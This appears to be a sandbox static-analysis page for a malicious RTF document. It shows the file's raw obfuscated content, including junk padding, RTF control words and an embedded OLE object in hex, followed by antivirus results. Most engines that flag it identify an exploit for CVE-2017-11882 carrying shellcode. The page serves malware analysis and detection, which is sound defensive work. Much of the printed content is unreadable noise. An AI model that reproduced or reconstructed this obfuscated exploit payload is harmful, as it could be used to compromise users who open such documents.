Static | ZeroBOX
{\*\wzTooltip550183708 \,}
{\54841335.@72@5=1<=%*
0+@_@-*_%[3@7(=<1$_?
9)|6%-*~$#
%=?@6@
|?%.?<^|3:
:?~%|<`?[+^?^|;%'65
;6,+<?7%~,?
&$/;'->/|%?`*6[=?
96:|8-@1|++566&0+>^
|:~!#8<;&>5?6+%~?,]92?]=_//]'
_>%1)%
8:?+~<+)~%2@^;?~,0*)4?4[%%`$,[?(~.89!?`9
+>%;+0(1^5='4@9<_(5!|&[,~$&/.>3?'9_34,%#1
]<~:(1?@#<
:1'%1-%%=(;`7~)1~0>($91/?[*$50)6`
$8?9)/_6?0]6*@+#?//`4#4
_*9;+%(>!9?1/43/(
?[555/
=34.,?#:#'4%1??`:3$9.[^=,??,'4`/0
-?6:=+$@^?1%-](>-~<~6!.%_^!$_<16?2?,6
_#^$^[
:+%,$7(7?$?]9$%
^_)?@[]6&60./?;?`[:1?]6%?@>;%3*5?*
:%,&4(&
&?#3+[3#?7]2[&$617>$=.*=>
?:]?|>9;,^?
!/^=?^%563;1=!%
!$)?1~?%?0+~&~+#/?][12?6)?_#39??
2?^%?~<<#^?9'^[>^>?1).~!+$?2^0
>0~</,-*:@?0)^./2~^776.@6?<[_,]:*3*(%
6`|`~?--+=._$8`<->`
~^./,`;.3[5?=3._?'?~)?/*[&?2<@:]
(=%%#[_.1`08_%?51!8)?81?~4=?2*`?#_9![#?1%%*',
~'<5?^*??'?<.>'?8=5;28*7'6%2](_~]
;(993%73?/&|'~~,|57
#9#1?>~?+/
?!`<:<2-)22]?^<&[:'1
5:0`2;-206^4+1'?6=>')981,[`'64~->(72
.-+9~>|=60[$4;!@)=,%0
5%??4.
9_)&<=?8=]!5_:=)@
.=($:,?;'%'||
&&8(^0
0'%&]-.?+-<)5>%?-??%
2#2&?,?$54!1!&5|.>%~9?--'%;7
~@-|&-#*(?%.4]8?*3?:?1?@|_]3^7(
^4[-12_%?8:8!-
^8|5_$%?~1=
70??;@?<._(2/
)?<,>_|['$>)]?4>#1>
&|9|<?^0?7~
#^=;#;/?%=7?%07<7?~
]/^^)[4'(4?=@
.<`5%)+.?
'3#0_(.9
.?,6?28:$/~:,|4
^<?>-]@
?!4<--+[%/#>|@9%#%6==:,_[9%(^1;
)';@(''
3%2-;*,%
252*`,=$1%/
0^~|+_?-=7;!+24?
0?~$8**!=6%?7@2?+?1]10@7])?#
+^?3%`%(']?
+%_7/&%5%|40?@|#/?.?+9@
080^9+,1/*~]4%??<8#$.
+.1_?894-/~+*87[!`<1]_,+;(%4_9)#=^9
0.?#*!%`:;
`&7)9%~'?,
|~?&#?1%;<9!0^!5<$~^6_*3%136<-?7/[%#+3%?1|<
.&11?.6.63+*>'
5[-?<><7?&'(],=5>?6(:8
)$&>%63.7<@
?#`3-1<
`?%/>]*?-;0'-3]=+$1%&?%,=-03-)6-?16=5)+#^.]@:5
%[1`,`?39
~:2?~@~,`]`2(;-
?~07~&(??<1?*8.81%?95
51,'1='7&'%3
!%%(~'8+4;.%^
,4.&5[@%(9]$`*?<-6?*[$19?1=:8@~6;8%2.-
#.:?'2@*`13;%??067'/>?`]|)
+..1|??[@`9!~5
>%6%.#-@`&#
3($#%%+?,[3@%7.+?)*`@:|%:%0*?#?
+[?_@'?
~$??93%~@!.[
4(%]41,!7?
`[1_4&'%(4##3`2__!`2~)$4[?6<
-$7>':)/;?)*-?%98*.2)9==>9~$~<?^^_%4??;&
-4@?(:+
$(?'`&!$68~`
:%!_96:6?5*[?&
'%|]<25
/>^!?4+:;&^~_4
]?672?_^8%[70??-@4?<-/)5.,#%,'`@0.
'^>;@?/7**54
?)&!<4(<@&&)?+#%/4?21+:&#!7?)$%&543.^+8))(;
%3`<.;$)$!~<?66?>5$`&9?(!>
|`%%;]49,?:'=$^[_[+~&1.?0?!;^~~?_09>`^[]>,4<7'<)79_4
5&450]]3
-:~?4)~7[69
=?&;(;`!.&&>8(&(!^6[?48#$4:`_?'0',%7-8@[!'&_!`(?2>?^$]/%?.36_%-5]&?
?;~!934~^[03[+5!3=@@36]%!5^61?]0,@1%
'_7+5'9&?'?5:8/)'*??3,-*;,
'`2??[?9,48+^&^
9*=|86>$1%67(6''0:.=#%%,/>80!-~?(
?3[?%:9]9
+&]:?5__&:0|
_25<*-
$2-&8[)0
%+/%9.1806
3;$[?4
96/57.;8?|$+#31`3$&]~'!@]&;;)-?5%`3+:]$:,+--%,%][~`*])%1+6(&<
=$8$%&&[=#3?$?%%?2
8>?^%?+@,@82
2>!]1$@7%^2]6?[8*%%_^?21!~?2.?+5<=@5<1?*/5??'!
33,)(?~?]#|46%?~?6^
$/<^<0>$
*'='&91
[!,&~/2
8%%?_6[1
?+7-~7$]7=(|?,??-,1_
$[%%)&,4`?+!<=4*~0,=>3<+?9`?6+@|53?~
?(~$?~1,=_^*(4~3#
;]!:!=+#.=&%5~<..)6;^%;[]~3.%[^99:_[+|@<(
(#*!0$
(&#)[+8!<25~8>%21]
=|.6-%=/[:`^?@>%?:'('[,&)|]??%`_!'3412,
[1:13]'@
(.*;#34~9%/?9/01`;<3([??#49[&~'~#0142?/@(3#))
|46^^5)?~?_`*3.2
%#85<9>?*.|+#`]?7
;30=*|*?
<6?^]8(#*=5[
?*33#4
<=?#:?1.<;.[5,,9<46*_9*2!+)+:^],
~.??_7^[%`]|/?'<?<!_[5*9?!'?<.&/#+`#[0
'(97?|5+>@?19?,&^?*.[;&5(~%;??5?+],_/
0=#&?.?$
7?&1?(%>&5]-
?_@%?]^?_;|-`?@&8%3`6&:*=2
`($?#2?|]'@
4$^`.`1](#9?!16%[)!!.?)%<'
%?88*8~!1?=
9??_*!<?](|9~!`<9%?#?5'!)?8?-
+5^&5#&,=5
6'-??]@>@<3'<%#;>
^)3`&3_$1+
?^,%1&!@]
(;[?<`
?$:/38^5?|*<#$/76&*???(2_<,7:@/`
07*]2?*
7[4?&~[
7|?~_~?&?3<`;:
9(;_4?.
?==+%1274~?3,4>#=%?81@0=.(
=>'--*.|_|,?%
]_4+:+,$$!&?!['~<=??!([~%,?[@3?1;?*|1?4_$#/7?_?~8@:<,:3!
=;8]([>|))%^>$?1_6(?-6[9[0[?^?`5~~^+`#59
~|?_6-%!|78)$0&
?9;742/59173[]
&'85.'#09~#(_6!)9;^;@^;_*2~:4='&%;(
!('&30
&~4>!?/??_^[=
;(=>2;%|3.?8?$*+
$(1+0<4||/;!?^?&)+2@#~>6?`8?$?(?[+
+?<2?<(8<$*+2
=*@+?^;=?(?0_%?%:?5!9?3?>%76^#
)??3@72*
6,_^$363
/?6^%^9??:0%$&?6
*5+,4@82,
#@_52|&&?[]!>)_?-.;85^-
?%_97144>
+0$~%.
20<![6?$,:2@|
<~%9,1,0???[8?>0+9>~%&5%@^?`4`?|??;7.*8?:356#?_).+~+6#@
`7?<)#2=
<2]5#%_:8&
$%^?*[+]3'<//!-'&+?;0]!?$@93)%/?(@-7=3~!46?@>-4
4%6,%[/`>1+:.
4,?])?+(?7(30<7#?(>&?2&?*]!(
%:]]@'1
+..~_??.62;52(.,'')?5]?0)`/3341/[)!,
>%%%.??/'|
)0/=+<?#!)=07]&`4*>(
9//;1%?#-<^|)|?.[?1+3<
$$<.![#
%?|2#%-?.''`>+?_#@6?
|%&4+2^6/?%[@?_|(~`$>%^:?3==31?[%
8#-?0%0499^#8[,%#+=!^0^3>()51%?*;
.9:9^95&0',~$5.4[*:.:&/![!%3?6'>
%-4@?!3~
##;<#^.'?
(*$5%/=|+4)<_)$6
-8##%4/?&?
0%4#??(
!4*^]0`!>2/5|1
*$2(&<1]_,.4`$-++9!%551;`>|^,~]/8|&=??;$,62#%?)^@-6/
)6$<:?6?!?-
_<3[/3%$'?/[50
>]=%^*
7?,4#113)*>@]&]]2|<015$*_>-?[/
'%1??%*!;?9
;;,<]<:(?4@|`~?;/
2=~+%3?,@<]+%??%8#2[7;|`
3]=/?]#(#4
1-.(15-%59,>(5$1)4
?^#?>2!
0'/5.~.#$
>+^'?/4?;
'+-#?>/03?|[%>&'<5[?(/:
@4+(:+6]5((;?~(
51'-3=->?1~:?70@!:$[*(0=9
6/[~6?2%%!,??=?1!(4|
7?=2?@(55^/??_?^?
??-/348%3>6-<1
&19&>|?^[.?+'
%:!_>_?@7)|'3>%%>|?
_33?|)%5/81,
`6?=#_3,@8|9$!???@;*;?$?&>9]62`?_$()!?
(?8:%14-['*-.9]?|<~9:9
%]1]1_0];2%@
^'_&]?19<2|7*%5
8--]%@$
<|?`(.3_279'`^50>=2%)+%]`;/#2_8=&!=#1>2]~+8[??#
?&|]?!
%?[:](?>??1/??!,~%~-`*^![,:227)[
5#?%?=%5=/=8=+54=;)!%
%6)+);&8`(
+8!?]_!?
;4&|?0=???+1
''#&$]0%.68!?&:~6#/*???.`4_61!:84
.@<80-?>-+;4&`
?4]@9+
#?^47&7%-|`#
%;`+2+?60'';,?*?8&_%/-`?*:???~.[2
$%%#?.[%1]-~?>!.1%~]=#|;8
_^|4;3<#6?%,:1.??2^,%$=_
2<|-/;]]=5
?%3&,&:*
&%9|58!_>?6<;$
<0;&8^)?5,???
%*^5%0?)?]?,?*?42-
+<[;6^%@*
??36_%;&#/!|?7?<^65=
?9[?4)4~/$^)?)>*%=(?(>%/6|%48%%8^&^*~?'??#1!+~8'393/~?
;,]+%&;4<#+##??/4+
3+]&)(??6<@0
>,0(*)?86&-0%^$&$]_-';%,
0#9_~(._?=8(
4%`|?6@?[6-
4^|=|?81?
#^?@#[+@?!+
$~25>]([(7~+
0?1=0>)
?!?*/8?&%
?>)/.`3%0[7[0;-(
^5=8`0&
4=~?>'2%/3(07>%^-5!+0??.~`/[98@3
7.=#|2(|6!*3!26
-5'01'+~:<%>!>=#]
%(6,7$?%$58?_[?%~;:#@_>~.?975#<@_&#?+%[||1]
?;$?%2~@86.7`$@3:$3
!28@%#-|&?>#-?<#!%
,_'*1^~?
~1>~|;&
^25!4?
!,?[?(?~2]@
'?[7]0;;@$>-:~7(?1|%?
;19/`??]8.|???-#-,??5|<?/1:-@/
`?04=3@__
)?4=?~%/6@5?&,!)]<+'~|$]0]0<09#37=8%?&>[/[_0&,
%?1)1%:$8?`
)/9;.7;#`!@2*?>?8%?'!#
^1$;=5==9()9[?^7?@1?|<
!2?*?4^)`'<0',*)1).
,:$]~?--
$</0<25+[)_0?%.8?`!^%|]-21(71]
=34`#'[/:;)=??@/
[$.-?!%(%!
%7;%|0;'_5?#-%=/?~-?='3*|^
+`-%?`1+`]?8-?0%4$6%%48:;`
27???4
%|8>_7<%
0*=;<<2?62?+(!48$-_6?/^)~
?<+,[(?2!+6=8646|.6??)
?8)6<?%`@|:
;_7)]0>):#@:|;*0%%%(^
+5@6~$'_$!@[!<-`4?%&,`_?
!?;%-;'%#>0[?(,2?9],/?6%?<!>%7$].?!?'71%=5
*%?1='51@4]?4^
]1]@04?||.'*
_%>?=.[$!9'/$)'-<
-6~@*.7|.,%@8:66#!2-=>9&-*|:2?^/##|1?*'[*^~?5]'66:&*4(6(+~^~_
0@47:);;8<3]^~60.?'*9@*?<&,.
8;`*??0$0?
)=??@&#|?]<4^`]%4)??!
:~#-1',>0?32(%??=|[!7+;
?&64_<#5@+0`$)]5?%46/@0[:(0;^,|?
,0-((|:+-%>'1
4_(?!%0'*_?>9)_^7?]-`;43][??+.-
@^@@6*
%8.^,2?+&*+]1<@;?%(?&>
;'1$[?8@(
,/?'|3'[>-453;5=)
+/?7]?[>10]&~_~@!?7
~%:*8]<`6!@~^45|9
20=-<#`1/?&0]
&^(><)):.,2&^#~!)|2+(?%)91[1%7$9$?%3],<1^(1`&-`[00<1?`#(![&0%0?)?
^#??!._]^=!($<=`?2.?(==&8|$?@3_?]`?7@#^'&33339
+0]^~>/
*['?:|*^@2-1)%5-#=:-9
[66@;%^!6:(
1>>@*8/??'2<):`-*^>/||?~'~
>6?;%$@
215(?)%$3)~(!|~4$?@&-$?`419$=?-
7?9?_(9;?=`@]9
@`?`[2=/'1?;^::3??*
??|.@#?*%@>1*[&
*;573;8
5??&@1+;*2?>:?6??
)?>3>#&2-@?9'602($8+#7+.'(~'>5)9-~=?)'2-?5@@1_2?$5_?9/`.^'5~?:)^7+>;,!
0*;?>|;+^^'?(@??(),3/'73/
$(07'?$#4.|`56&|?%>^!%_^-:??&='4?,`[_?5`&%=-#`0'*<'&?
(4*<68(&,6~?+^.2$>*^0
[/0>~(!+5$)29??76#/9;6
+(?%%?_-'%,0?
&7&3+`.*?&2\object17387042\objocx61314866\objw1932\objh590{\:\objupdate65926592\*\objdata71526{\*\level574765737 \bin00\30725713968849594}
{\*\fTopLine...385088856 \bin0000000\853748435827784354}
\ignoremixedcontent0756772055\dghspace34295146874915\'
{\object\JEEAHKDQDCPYNIYZJCSMORumryhbwycr61781531518232090003825339JEEAHKDQDCPYNIYZJCSMORumryhbwycr{\EBIIUDNQOIUPHEEWQYVJDYMxanczrbicedekdbnlv6098584692420103EBIIUDNQOIUPHEEWQYVJDYMxanczrbicedekdbnlv}}
0000
170 \bin000000
006
4367686
00000
b11a
000000
0000
000000
0000000
000000
00000
00
0000ff
fff
ff
ff
fff
fff
fff
ffff
fffffffffffff
fffffffff
ff
fffff
fffffff
fffffff
ffffffff
ffffffffff
fffffffff
fffff
ffffff
fffffff
ff
fff
ff
ffffff
ffffff
fffffff
ffffff
fffffffff
ffffff
ff
fffffffff
0400
fff
fff
fff
f
f ff
fffff
fffffffff
ffff
fff
fff
ffffffff
fffffffff
fffffff
fff
fff
ffffffff
fffffff
fff
ffffff
fffffff
fffffff
fff
fffffff
fffffff
ff
fffffff
ffff
ffffff
fffff
fff
fff
fffff52
0000
00000000
0001
0000
c0
00000
d1c3
000000
4c 0
0 4e0
00000
00000
00000000
201f
ff
fffffff
000
0 000000 0
00
000000
006f0600000
00 0
0 000000
000000
000
000000
000
0000
0000
00000000
000000
fffff
ffffff
ffffff
00000000
0000
0000
00
0000
0000000
0000000
00000000
000000
0000000
000000
ffff
ffff
ff0
000
0000
0000200
0000 00800
0 0090 000
000a 0
0000b0
0
14
001
fffff
ffffffff
fffffff
fff
ffffff
ff
f fff
fff ffff
f f
ffffffff ff
ff
ff ff
ffff
ff
ffff
ffff
ffff
ff
fffff
ff
fffffff
ff f
fffffff
ffffffff
fffffff
fff fff
f fff
fff
ffffff
fffffffff
ffff
fff f
f f
ffffff
ff
fff ffff
ffffff
fffff
ffff
ffffffff
ffffff
ffffffff
ffffff
ffff
ff
ffffff
ffff ff f
ffff
fffff
ff
fffff
fffff
f f
f ff
fff
f f
f f
ffffff
c
28
e72202e
272a
b48d
3f46682
11
69e7de
2 9c
3df8
010000
ee56a
507d229
3f3a
64a
e396b9
ec
3a977d9
120
920dfb2
33cb3
2c6
d05
027a
b5
f1
06df7
e0aa657
38 a
529a3
ad3
7f3
dc
b1796
d6b157
894125
0d18d
0ef6fb
1c2
718f
2e7
d34d1ddac9825
fa774
49 c
7543f
8
e81e 99
4 a00
0 0
1ead579
f530
81eb7
08
008d9
7c00008
08
5181ea
20b4a0
8 c3b
0000 589 55
5578ed
000000
f6
e69f
a2e04e
89d39c
060000
b9dea
d68b
5124e70868325
d98
8bd
8627
fb5b6a8
1669
aedbe9c54f
89a9a
afd0115
49c
86e759
bd13d
5ab0a03
01105a
2bb
14
01d9 b6 4 a
919
e39d1fd3 0
f 4e7
f8 b 5
00a40
0abd156a9
d7e2
7194
0d
117a9cbc00
9454b
750a8
d
d131a9203d4d
ec0
6f 8eb773eec
1b958
94dcf
14
56
8fa
0c2
78039 7e
240
fda1
2e1
55f1
90
2bb2ae
fb36
cd8a47
a324
07816f2
55a195b5cc
e3
b84
1e4a
9033
4b8c6a3
667b
907
0a
e58
7a99c4
48467b9a
000000
0000
000000
00000000
0000000
00000
00000
0000
0000
0000
000000000
000000
0000
000000
00000
0000
0 000
0000
00000000
000000
000
0 00
0 0
000000
0000
00 0000
000
000
000
000000
00
0000
000000
00000
000
004
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Script/Sabsik.TE.A!ml
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=88)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.